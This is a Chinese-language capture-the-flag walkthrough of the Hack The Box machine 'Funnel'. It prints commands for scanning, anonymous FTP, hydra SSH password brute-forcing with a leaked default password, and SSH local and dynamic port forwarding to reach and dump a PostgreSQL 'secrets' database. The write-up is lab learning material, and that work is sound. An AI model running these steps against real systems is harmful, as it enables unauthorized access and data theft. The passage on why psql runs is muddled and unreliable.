文章目录
- 信息收集
- hydra ssh 暴破
- ssh 隧道转发 postgresql 流量
- postgresql 使用
- 动态端口转发
信息收集
nmap -sC -sV 10.129.143.249
账号密码 Anonymous:ftp
发现两个文件,下载
默认密码 funnel123#!#
一封邮件
邮箱名可能是用户名
hydra ssh 暴破
hydra -L usernames.txt -p 'funnel123#!#' {target_IP} ssh
登录
ssh christine@10.129.228.195
ss 命令获取计算机 socket 统计信息,发现运行着 postgresql 数据库
ss -tln
ss -tl
ssh 隧道转发 postgresql 流量
目标主机不能运行 psql
管理工具,且无权限下载,使用 ssh 进行流量转发
# 将本地 1234 端口流量转发到目标主机的 5432 端口
ssh -L 1234:localhost:5432 christine@10.129.140.166
(注:本地端口转发未复现成功,在HTB的环境才复现成功)
# 连接数据库 通过本地 1234 端口
psql -U christine -h localhost -p 1234
为什么目标主机没有 psql 环境还能执行命令呢?在解释器敲下一个命令发生了什么?
- 首先,shell 解释器会对敲入的命令进行语法解析,分解成一个个 token (token是最基本的单元),psql 是命令,-U、-h、-p 是选项,christine、localhost、1234 是参数
- 语法解析过程如下
- 判断这是一个绝对路径还是其他,是绝对路径就直接由 bash 去执行
- 如果是其他就判断是否是一个别名命令,是的话将其展开为原始命令
- 判断是内部命令还是外部命令,是内部命令就执行
- 如果是外部命令就到 PATH 变量中遍历寻找,找到命令路径就会往下执行,找不到就抛出异常
- shell 解释器会到磁盘的 PATH 变量中查找 psql 命令的路径,经查找在
/usr/bin/psql
- 磁盘会告诉系统内核 psql 命令的位置,加载 psql 二进制可执行程序到内存
- 系统内核首先查看内存是否有足够的空间,有就创建进程加载代码,整个进程进入就绪队列
- 内存执行 psql 命令,将结果返回给解释器
也就是说已经获取到 psql 源码,然后再去转发
(如有理解错误,还望指出)
postgresql 使用
# 查看数据库
\l;
# 选择数据库
\c secrets;
# 查表
\dt;
# 查数据
select * from table_name;
动态端口转发
# 绑定 1234 端口
ssh -D 1234 christine@{target_IP}
编辑 proxychains 配置文件
vi /etc/proxychains4.conf
建立本地 soket 代理
proxychains psql -U christine -h localhost -p 5432
-
本地端口转发:本地机器和中间机器之间建立一条通信隧道,将本地机器某个端口的流量通过这条隧道转发到远程机器的端口
-
本地机器不能访问远程机器,中间机器可以访问远程机器,本地机器可以ssh登录到中间机器,这种情况下可以使用本地转发
-
远程端口转发:本地机器和远程机器之间建立一条通信隧道,远程机器某个端口的流量会通过通信隧道转发到本地机器能访问到的机器上
-
两个远程机器不能相互访问,但本地机器可以访问这两个远程机器,这个情况用远程转发
-
动态端口转发:本地机器特定端口的流量会通过远程机器转发出去,并没有指定目的地,而正向代理在建立 ssh 通道时就确定了
-
本地机器可以ssh登录到远程机器,如果想让远程机器变成SOCK4和SOCK5代理服务器,这种情况可以使用动态端口转发